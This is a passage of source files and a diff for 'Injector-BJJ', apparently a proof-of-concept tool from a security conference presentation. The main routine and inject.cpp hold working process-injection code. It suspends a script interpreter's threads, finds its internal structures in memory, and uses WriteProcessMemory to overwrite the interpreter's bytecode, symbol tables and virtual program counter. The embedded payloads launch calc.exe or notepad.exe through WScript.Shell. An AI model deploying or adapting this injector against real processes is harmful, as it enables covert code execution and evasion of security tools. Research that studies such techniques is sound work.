BYTE value_object_bytes[] = "\xd0\x00\x00\x00\x20\x00\x00\x00\xb8\x00\x00\x00\x02\x00\x00\x00\xcc\x00\x00\x00\x01\x00\x00\x00\x10\x02\x00\x00\xbc\x00\x00\x00\x02\x00\x00\x00\xf0\x00\x00\x00\x20\x01\x00\x00\x47\x00\x00\x00\x62\x8e\x00\x00\x06\x00\x00\x00\x57\x00\x73\x00\x68\x00\x00\x00\x42\x0d\x6f\x26\x1a\x00\x00\x00\x57\x00\x53\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x2e\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x00\x00\x0b\xb7\xb7\x0f\x18\x00\x00\x00\x43\x00\x72\x00\x65\x00\x61\x00\x74\x00\x65\x00\x4f\x00\x62\x00\x6a\x00\x65\x00\x63\x00\x74\x00\x00\x00\xad\xba\xcb\x27\x9c\xe4\x16\x00\x00\x00\x6e\x00\x6f\x00\x74\x00\x65\x00\x70\x00\x61\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\xe5\x88\x00\x00\x06\x00\x00\x00\x52\x00\x75\x00\x6e\x00\x00\x00\x89\xa9\xad\xba\x09\x00\x00\x00\x27\x00\x00\x00\x32\x00\x00\x00\x15\x00\x00\x00\xb0\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
Bytecode bytecode = {
bytecode_bytes,
sizeof(bytecode_bytes)
};
SymbolTable symbol_table = {
0,
{
{
value_object_bytes,
sizeof(value_object_bytes),
0
}
}
};
Payload payload = {
bytecode,
{ symbol_table }
};
wchar_t search_text[] = L"Hello, Black Hat folks!";
Search search;
search.type = kSearchTextTypeWchar;
search.pattern_wcs = search_text;
search.value_object_offset = 0x48;
argparse::ArgumentParser program("Injector-BJJ");
program.add_argument("-c", "--config")
.help("specify a config JSON file name.");
program.add_argument("-s", "--search")
.help("specify a search JSON file name.");
program.add_argument("-p", "--payload")
.help("specify a payload JSON file name.");
try {
program.parse_args(argc, argv);
}
catch (const std::exception& err) {
spdlog::error(err.what());
std::exit(1);
}
if (program.present("--config")) {
auto config_file = program.get<std::string>("--config");
spdlog::info("Reading config file: {}", config_file);
std::string config_string = read_file(config_file);
deserialize_config(config_string, config);
}
else {
spdlog::info("No config file provided. Using embedded config.");
}
if (program.present("--search")) {
auto search_file = program.get<std::string>("--search");
spdlog::info("Reading search file: {}", search_file);
std::string search_string = read_file(search_file);
deserialize_search(search_string, search);
}
else {
spdlog::info("No search file provided. Using embedded search text.");
}
if (program.present("--payload")) {
auto payload_file = program.get<std::string>("--payload");
spdlog::info("Reading payload file: {}", payload_file);
std::string payload_string = read_file(payload_file);
deserialize_payload(payload_string, payload);
}
else {
spdlog::error("No payload file provided. Using embedded payload.");
}
spdlog::info("This is a Bytecode Jiu-Jitsu injector. Let's roll!");
if (!log_file_name.empty())
out = new std::ofstream(log_file_name.c_str());
if (!out) {
char temp_path[MAX_PATH];
ret = GetTempPathA(MAX_PATH, (LPSTR)&temp_path);
if (ret == 0) {
spdlog::error("Error: could not get temp path.");
} else {
log_file_name = temp_path;
log_file_name += "\\injector.log";
out = new std::ofstream(log_file_name.c_str());
}
}
if (out) {
spdlog::info("Log file name: {}", log_file_name);
} else {
spdlog::info("Error: could not get temp path.");
}
resolve_native_apis();
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
spdlog::info("Creating an interpreter process ... ");
result = CreateProcess(NULL,
command_line,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
if (!result) {
log_err_msg();
ExitProcess(0);
}
spdlog::info("Done.");
spdlog::info("Command line: ");
std::wcout << command_line << std::endl;
// Wait for initialization of the interpreter process
// Sleep(2000);
spdlog::info("Waiting for the debugger attach ... ");
char c;
std::cin >> c;
spdlog::info("Suspending threads ... ");
hThreads = get_thread_handles(pi.dwProcessId);
// Sleep(300);
suspend_threads(hThreads);
spdlog::info("Done.");
spdlog::info("Enumerating heap memory ... ");
std::list<BinaryContent> contents;
std::list<BinaryContent> heap_contents;
std::list<HeapInfo> heaps = get_heap_info(pi.dwProcessId);
log_heap_info(heaps);
heap_contents = get_heap_contents(pi.hProcess, heaps);
contents.insert(contents.end(), heap_contents.begin(), heap_contents.end());
spdlog::info("Done.");
spdlog::info("Enumerating stack memory ... ");
std::list<BinaryContent> stack_contents;
std::list<StackInfo> stacks = get_stack_info(pi.dwProcessId, pi.hProcess);
log_stack_info(stacks);
stack_contents = get_stack_contents(pi.hProcess, stacks);
contents.insert(contents.end(), stack_contents.begin(), stack_contents.end());
spdlog::info("Done.");
spdlog::info("Searching a string: Hello, Black Hat folks!");
LPVOID management_structure_addr;
management_structure_addr = 0x0;
off_t block_offset;
bool found;
for (auto iter = contents.begin(); iter != contents.end(); iter++) {
block_offset = 0;
found = false;
do {
auto [match_offset, match_len] = search_characteristic_string(iter->bytes + block_offset, iter->len - block_offset, search);
found = (match_len != 0);
if (found) {
spdlog::info("A search pattern found at 0x{:x}", (int64_t)iter->addr + (int64_t)block_offset + (int64_t)match_offset);
log_search_result(iter->bytes, iter->addr, block_offset + match_offset, match_len);
LPVOID found_addr = find_management_structure(contents, (LPVOID)((int64_t)iter->addr + (int64_t)block_offset + (int64_t)match_offset), search.value_object_offset, 0);
if (found_addr != NULL)
management_structure_addr = found_addr;
block_offset += (match_offset + match_len);
}
} while (found);
}
if (management_structure_addr != 0x0) {
spdlog::info("A management structure addr found at 0x{:x}", (uint64_t)management_structure_addr);
*out << "Management structure addr: 0x" << management_structure_addr << std::endl;
} else {
spdlog::error("Error: could not find a management structure addr.");
spdlog::error("Exiting ...");
return -1;
}
inject(pi.hProcess, management_structure_addr, payload, config);
LPVOID bytecode_addr = find_bytecode_addr(pi.hProcess, management_structure_addr, config);
overwrite_vpc(pi.hProcess, management_structure_addr, config, bytecode_addr);
spdlog::info("Resuming threads ... ");
resume_threads(hThreads);
spdlog::info("Done");
spdlog::info("Exiting ... ");
close_handles(hThreads);
for (auto iter = contents.begin(); iter != contents.end(); iter++) {
delete[] iter->bytes;
}
return 0;
}
@@ -0,0 +1,165 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{379c4b26-4bd6-46a9-8176-c35817c93c07}</ProjectGuid>
<RootNamespace>InjectorBJJ</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp17</LanguageStandard>
<AdditionalIncludeDirectories>$(SolutionDir)lib\json\include;$(SolutionDir)lib\spdlog\include;$(SolutionDir)lib\argparse\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<AdditionalOptions>/utf-8 %(AdditionalOptions)</AdditionalOptions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="config.cpp" />
<ClCompile Include="inject.cpp">
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">$(SolutionDir)\lib\json\include;$(SolutionDir)lib\spdlog\include;$(SolutionDir)lib\argparse\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
</ClCompile>
<ClCompile Include="Injector-BJJ.cpp" />
<ClCompile Include="memory.cpp" />
<ClCompile Include="ntapi.cpp" />
<ClCompile Include="payload.cpp" />
<ClCompile Include="search.cpp" />
<ClCompile Include="thread.cpp" />
<ClCompile Include="util.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="common.h" />
<ClInclude Include="config.h" />
<ClInclude Include="config_win7_32.h" />
<ClInclude Include="heap.h" />
<ClInclude Include="inject.h" />
<ClInclude Include="injector.h" />
<ClInclude Include="memory.h" />
<ClInclude Include="ntapi.h" />
<ClInclude Include="payload.h" />
<ClInclude Include="peb.h" />
<ClInclude Include="search.h" />
<ClInclude Include="stack.h" />
<ClInclude Include="teb.h" />
<ClInclude Include="util.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,90 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="Injector-BJJ.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="inject.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="memory.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ntapi.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="search.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="thread.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="util.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="config.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="payload.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="config.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="config_win7_32.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="heap.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="inject.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="injector.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="memory.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ntapi.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="peb.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="search.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="stack.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="teb.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="payload.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="util.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>
+15
View File
@@ -0,0 +1,15 @@
#ifndef _INJECTOR_BYTECODE_H_
#define _INJECTOR_BYTECODE_H_
#include <Windows.h>
#include <vector>
using std::vector;
typedef struct _Bytecode {
BYTE *bytes;
int len;
vector<off_t> reference_offsets;
} Bytecode;
#endif // _INJECTOR_BYTECODE_H_
+6
View File
@@ -0,0 +1,6 @@
#ifndef _INJECTOR_COMMON_H_
#define _INJECTOR_COMMON_H_
#include <spdlog/spdlog.h>
#endif // _INJECTOR_COMMON_H_
+27
View File
@@ -0,0 +1,27 @@
#include "config.h"
void deserialize_config(std::string config_json_string, Config& config) {
auto config_json = json::parse(config_json_string);
try {
config.interp_module_name = config_json.at("interp_module_name").get<std::string>();
config.interp_func_offset = config_json.at("interp_func_offset").get<off_t>();
config.management_structure_index = config_json.at("management_structure_index").get<int>();
config_json.at("bytecode").at("reference_offsets").get_to(config.bytecode.reference_offsets);
config_json.at("vpc").at("reference_offsets").get_to(config.vpc.reference_offsets);
auto symbol_tables = config_json.at("symbol_tables");
for (auto it = symbol_tables.begin(); it != symbol_tables.end(); it++) {
SymbolTableConfig symbol_table_config;
symbol_table_config.type = it->at("type");
symbol_table_config.scope = it->at("scope");
it->at("reference_offsets").get_to(symbol_table_config.reference_offsets);
symbol_table_config.forward_link_offset = it->at("forward_link_offset");
config.symbol_tables.push_back(symbol_table_config);
}
}
catch (const std::exception& err) {
spdlog::error(err.what());
std::exit(1);
}
}
+41
View File
@@ -0,0 +1,41 @@
#ifndef _INJECTOR_CONFIG_H_
#define _INJECTOR_CONFIG_H_
#include "common.h"
#include <nlohmann/json.hpp>
#include <Windows.h>
#include <string>
#include <vector>
using json = nlohmann::json;
using std::vector;
typedef struct _BytecodeConfig {
std::vector<off_t> reference_offsets;
} BytecodeConfig;
typedef struct _SymbolTableConfig {
UINT8 type;
UINT8 scope;
std::vector<off_t> reference_offsets;
off_t forward_link_offset;
} SymbolTableConfig;
typedef struct _VPCConfig {
std::vector<off_t> reference_offsets;
} VPCConfig;
typedef struct _Config {
std::string interp_module_name;
off_t interp_func_offset;
int management_structure_index;
BytecodeConfig bytecode;
std::vector<SymbolTableConfig> symbol_tables;
VPCConfig vpc;
} Config;
void deserialize_config(std::string config_json_string, Config& config);
#endif // _INJECTOR_CONFIG_H_
@@ -0,0 +1,35 @@
#ifndef _INJECTOR_CONFIG_H_
#define _INJECTOR_CONFIG_H_
#include <Windows.h>
#include <vector>
using std::vector;
typedef struct _Config {
char *search_pattern;
BYTE *bytecode_bytes;
int bytecode_len;
BYTE *symbol_table_bytes;
int symbol_table_len;
vector<off_t> bytecode_reference_offsets;
vector<off_t> symbol_table_reference_offsets;
vector<off_t> vpc_reference_offsets;
} Config;
char search_pattern[] = R"(\x48\x00\x65\x00\x6C\x00\x6C\x00\x6F\x00\x2C\x00\x20\x00\x42\x00\x6C\x00\x61\x00\x63\x00\x6B\x00\x20\x00\x48\x00\x61\x00\x74\x00\x20\x00\x66\x00\x6F\x00\x6C\x00\x6B\x00\x73\x00\x21\x00)";
BYTE bytecode_bytes[] = "\x56\x38\x00\x00\x00\x01\x00\x00\x03\x00\x0e\x48\x00\x00\x00\x28\x6c\x00\x00\x00\x01\x00\x1b\x01\x00\x03\x01\x19\x01\x00\x0e\x90\x00\x00\x00\x31\xac\x00\x00\x00\x01\x00\x02\x01\x00\x00\x00";
BYTE symbol_table_bytes[] = "\xcc\x00\x00\x00\x1c\x00\x00\x00\xb4\x00\x00\x00\x02\x00\x00\x00\xc8\x00\x00\x00\x01\x00\x00\x00\x00\x02\x00\x00\xb8\x00\x00\x00\x02\x00\x00\x00\xe8\x00\x00\x00\x18\x01\x00\x00\x44\x00\x00\x00\x62\x8e\x00\x00\x06\x00\x00\x00\x57\x00\x73\x00\x68\x00\x00\x00\x42\x0d\x6f\x26\x1a\x00\x00\x00\x57\x00\x53\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x2e\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x00\x00\x0b\xb7\xb7\x0f\x18\x00\x00\x00\x43\x00\x72\x00\x65\x00\x61\x00\x74\x00\x65\x00\x4f\x00\x62\x00\x6a\x00\x65\x00\x63\x00\x74\x00\x00\x00\x00\x00\xf3\xe0\x8d\x0a\x10\x00\x00\x00\x63\x00\x61\x00\x6c\x00\x63\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x00\x00\xe5\x88\x00\x00\x06\x00\x00\x00\x52\x00\x75\x00\x6e\x00\x00\x00";
Config config = {
search_pattern,
bytecode_bytes,
sizeof(bytecode_bytes),
symbol_table_bytes,
sizeof(symbol_table_bytes),
{ 0x0, 0xb8 },
{ 0x0, 0xc0 },
{ 0x0, 0xb4 }
};
#endif // _INJECTOR_CONFIG_H_
+147
View File
@@ -0,0 +1,147 @@
#include <Windows.h>
#include <list>
#ifndef _WIN64
typedef struct _DEBUG_BUFFER { //32-bit
HANDLE SectionHandle;
PVOID SectionBase;
PVOID RemoteSectionBase;
ULONG SectionBaseDelta;
HANDLE EventPairHandle;
ULONG Unknown[2];
HANDLE RemoteThreadHandle;
ULONG InfoClassMask;
ULONG SizeOfInfo;
ULONG AllocatedSize;
ULONG SectionSize;
PVOID ModuleInformation;
PVOID BackTraceInformation;
PVOID HeapInformation;
PVOID LockInformation;
PVOID Reserved[8];
} DEBUG_BUFFER, *PDEBUG_BUFFER;
typedef struct _DEBUG_HEAP_INFORMATION //32-bit
{
ULONG Base; // 0x00
ULONG Flags; // 0x04
USHORT Granularity; // 0x08
USHORT Unknown; // 0x0A
ULONG Allocated; // 0x0C
ULONG Committed; // 0x10
ULONG TagCount; // 0x14
ULONG BlockCount; // 0x18
ULONG Reserved[7]; // 0x1C
PVOID Tags; // 0x38
PVOID Blocks; // 0x3C
} DEBUG_HEAP_INFORMATION, *PDEBUG_HEAP_INFORMATION;
struct HeapBlock
{
PVOID dwAddress;
DWORD dwSize;
DWORD dwFlags;
ULONG reserved;
};
#endif
#ifdef _WIN64
// DEBUG_BUFFER from: https://github.com/radareorg/radare2/blob/master/libr/include/heap/r_windows.h
typedef struct _DEBUG_BUFFER {
HANDLE SectionHandle;
PVOID SectionBase;
PVOID RemoteSectionBase;
WPARAM SectionBaseDelta;
HANDLE EventPairHandle;
HANDLE RemoteEventPairHandle;
HANDLE RemoteProcessId;
HANDLE RemoteThreadHandle;
ULONG InfoClassMask;
SIZE_T SizeOfInfo;
SIZE_T AllocatedSize;
SIZE_T SectionSize;
PVOID ModuleInformation;
PVOID BackTraceInformation;
PVOID HeapInformation;
PVOID LockInformation;
PVOID SpecificHeap;
HANDLE RemoteProcessHandle;
PVOID VerifierOptions;
PVOID ProcessHeap;
HANDLE CriticalSectionHandle;
HANDLE CriticalSectionOwnerThread;
PVOID Reserved[4];
} DEBUG_BUFFER, *PDEBUG_BUFFER;
// Patched version of DEBUG_HEAP_INFORMATION from: https://github.com/radareorg/radare2/blob/master/libr/include/heap/r_windows.h
typedef struct _DEBUG_HEAP_INFORMATION {
PVOID Base;
DWORD Flags;
USHORT Granularity;
USHORT CreatorBackTraceIndex;
SIZE_T Allocated;
SIZE_T Committed;
DWORD TagCount;
DWORD BlockCount;
DWORD PseudoTagCount;
DWORD PseudoTagGranularity;
DWORD Reserved[5];
PVOID Tags;
PVOID Blocks;
PVOID Reserved2;
} DEBUG_HEAP_INFORMATION, *PDEBUG_HEAP_INFORMATION;
#endif
typedef struct _HeapInfo {
unsigned long id;
unsigned long long base;
bool default_flag;
std::list<std::pair<ULONG_PTR, ULONG_PTR> > blocks;
} HeapInfo;
// From radare2
typedef struct _HeapBlockExtraInfo { // think of extra stuff to put here
WPARAM heap;
WPARAM segment;
WPARAM unusedBytes;
USHORT granularity;
} HeapBlockExtraInfo, * PHeapBlockExtraInfo;
typedef struct _HeapBlock {
ULONG_PTR dwAddress;
SIZE_T dwSize;
DWORD dwFlags;
SIZE_T index;
PHeapBlockExtraInfo extraInfo;
} HeapBlock, * PHeapBlock;
typedef struct _HeapBlockBasicInfo {
WPARAM size;
WPARAM flags;
WPARAM extra;
WPARAM address;
} HeapBlockBasicInfo, * PHeapBlockBasicInfo;
#define SHIFT 16
#define EXTRA_FLAG (1ULL << (sizeof (size_t) * 8 - 1))
// Until here, from radare2
#define PDI_MODULES 0x01
#define PDI_BACKTRACE 0x02
#define PDI_HEAPS 0x04
#define PDI_HEAP_TAGS 0x08
#define PDI_HEAP_BLOCKS 0x10
#define PDI_LOCKS 0x20
extern "C"
__declspec(dllimport) NTSTATUS __stdcall RtlQueryProcessDebugInformation(IN ULONG ProcessId, IN ULONG DebugInfoClassMask, IN OUT PDEBUG_BUFFER DebugBuffer);
extern "C"
__declspec(dllimport) PDEBUG_BUFFER __stdcall RtlCreateQueryDebugBuffer(IN ULONG Size, IN BOOLEAN EventPair);
+149
View File
@@ -0,0 +1,149 @@
#include "inject.h"
extern std::ostream *out;
void inject(HANDLE hProcess,
LPVOID management_structure_addr,
Payload payload,
Config config) {
spdlog::info("Injecting bytecode ... ");
inject_bytecode(hProcess, management_structure_addr, payload.bytecode, config);
spdlog::info("Done.");
inject_symbol_tables(hProcess, management_structure_addr, payload.symbol_tables, config);
}
LPVOID dereference_forward(HANDLE hProcess, LPVOID base_addr, vector<off_t> reference_offsets) {
LPVOID addr;
BYTE read_bytes[sizeof(LPVOID)];
addr = base_addr;
for (auto iter = reference_offsets.begin(); iter != reference_offsets.end(); iter++) {
read(hProcess, (LPVOID)((int64_t)addr + *iter), read_bytes, sizeof(read_bytes));
memcpy(&addr, read_bytes, sizeof(read_bytes));
}
return addr;
}
LPVOID find_bytecode_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config) {
return dereference_forward(hProcess, management_structure_addr, config.bytecode.reference_offsets);
}
LPVOID find_symbol_table_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config) {
return dereference_forward(hProcess, management_structure_addr, config.symbol_tables[0].reference_offsets);
}
LPVOID find_vpc_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config) {
LPVOID vpc_addr;
off_t vpc_offset;
vpc_offset = config.vpc.reference_offsets.back();
config.vpc.reference_offsets.pop_back();
vpc_addr = dereference_forward(hProcess, management_structure_addr, config.vpc.reference_offsets);
vpc_addr = (LPVOID)((int64_t)vpc_addr + vpc_offset);
return vpc_addr;
}
void inject_bytecode(HANDLE hProcess, LPVOID management_structure_addr, Bytecode bytecode, Config config) {
LPVOID bytecode_addr;
bytecode_addr = find_bytecode_addr(hProcess, management_structure_addr, config);
spdlog::info("Bytecode cache found at 0x{:x}", (int64_t)bytecode_addr);
write(hProcess, bytecode_addr, bytecode.bytes, bytecode.len);
}
void inject_symbol_tables(HANDLE hProcess, LPVOID management_structure_addr, vector<SymbolTable> symbol_tables, Config config) {
LPVOID symbol_table_addr;
SymbolTable symbol_table;
for (auto iter = symbol_tables.begin(); iter != symbol_tables.end(); iter++) {
symbol_table = *iter;
symbol_table_addr = find_symbol_table_addr(hProcess, management_structure_addr, config);
spdlog::info("Symbol table found at 0x{:x}", (int64_t)symbol_table_addr);
inject_symbol_table(hProcess, symbol_table_addr, symbol_table);
}
}
void inject_symbol_table(HANDLE hProcess, LPVOID symbol_table_addr, SymbolTable symbol_table) {
LPVOID value_object_addr;
ValueObject value_object;
// TODO: add a check regarding the number of value objects where symbol_table.type = kSymbolTableTypeDirect
for (int i = 0; i < symbol_table.value_objects.size(); i++) {
value_object_addr = symbol_table_addr;
value_object = symbol_table.value_objects.at(i);
spdlog::info("Injecting a symbol table ... ");
write(hProcess, value_object_addr, value_object.bytes, value_object.len);
spdlog::info("Done.");
}
}
void overwrite_vpc(HANDLE hProcess, LPVOID management_structure_addr, Config config, LPVOID bytecode_addr) {
LPVOID vpc_addr = find_vpc_addr(hProcess, management_structure_addr, config);
spdlog::info("VPC found at 0x{:x}", (int64_t)vpc_addr);
spdlog::info("Overwriting VPC to 0x{:x} ...", (int64_t)bytecode_addr);
write(hProcess, vpc_addr, (BYTE *)&bytecode_addr, sizeof(LPVOID));
spdlog::info("Done.");
}
void read(HANDLE hProcess, LPVOID addr, BYTE *bytes, SIZE_T bytes_len) {
/*
BOOL ReadProcessMemory(
[in] HANDLE hProcess,
[in] LPCVOID lpBaseAddress,
[out] LPVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesRead
);
*/
SIZE_T read_len;
BOOL result;
result = ReadProcessMemory(hProcess,
addr,
bytes,
bytes_len,
&read_len);
if (result == 0)
log_err_msg();
if (read_len != bytes_len)
*out << "Error: could not read all bytes. "
<< read_len
<< " bytes read."
<< std::endl;
}
void write(HANDLE hProcess, LPVOID addr, BYTE *bytes, SIZE_T bytes_len) {
/*
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
